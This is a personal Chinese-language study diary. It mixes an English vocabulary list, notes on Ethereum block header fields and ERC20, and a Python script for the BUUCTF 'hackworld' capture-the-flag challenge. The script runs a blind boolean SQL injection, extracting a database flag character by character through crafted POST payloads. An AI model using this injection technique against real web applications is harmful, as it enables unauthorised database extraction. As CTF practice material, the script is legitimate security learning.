2021/8/20WEB攻关,ERC20代币

单词积累：

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designate任命，委派，指定
recursive递归的
precede  vt/vi 在、、发生之前
succinctness n.简明，简化
marginal  n.边缘的，临界的，边缘席位。
defer推迟，拖延，听从
collateral n.担保物
			adj.附属的，旁系的。
interest   n.利息
fragment  n.片段
		V.使分裂，使破裂
beneficiary  n.受益人，财产继承人
inception  n.开端，初期
populate  v.居住于，生活于..
finalize  v.最后确定
validate v.确认
validation  n.确认，有效，检验
embed  v.(使)嵌入
invoke  v.调用
intrinsic  固有的，内在的

hackworld继续写

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import requests
from IPython.core import payload

url = "http://74a5d2c1-aa99-4e8c-8fb2-11bf6c6eeb38.node4.buuoj.cn:81/index.php";
result = "";
for i in range(1, 100):
    low = 32;
    high = 127;
    mid = (low + high)//2;
    while(low < high):
        payload = "1^(ascii(substr((select(flag)from(flag)),%s,1))>%s)^1"%(i, mid);
        r = requests.post(url, data={"id":payload});
        if "Hello" in r.text:
            low = mid + 1;
        else:
            high = mid;
        mid = (high + low)//2;
    if(chr(mid) == " "):
        break;#用于判断打印flag结束，跳出整个循环
    result += chr(mid);
    print(result);
print("flag: " ,result)

用来报错注入的脚本。

（先用burpsuite查找被过滤字符）本题不多说

ERC20

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height: A scalar value equal to the height of the block, which is also the number of parent references to reach the genesis

block. This is formally denoted by Hh ∈ N64. The genesis block has a height of zero.也就是父块及其之前块的数量。

author: The 160-bit address of the author of this block, formally denoted by Ha ∈ B160. This is indeed the benefificiary’s

address to receive all rewards caused by successfully mining this block.其实就是矿工。

今天弄明白nonce:在transaction中代表之前发送所有交易的数目

而在block中：nonce: A 256-bit value which proves that a suffificient amount of computation has been carried out on this block, formally

Hn ∈ B256.也就是为了证明pow而找到的一个256位的值。（类似随机数）

RLP: this is the serialization function that encodes an input of arbitrary length into a structured binary data, i.e. a byte

array explicitly containing information about the length of the input.

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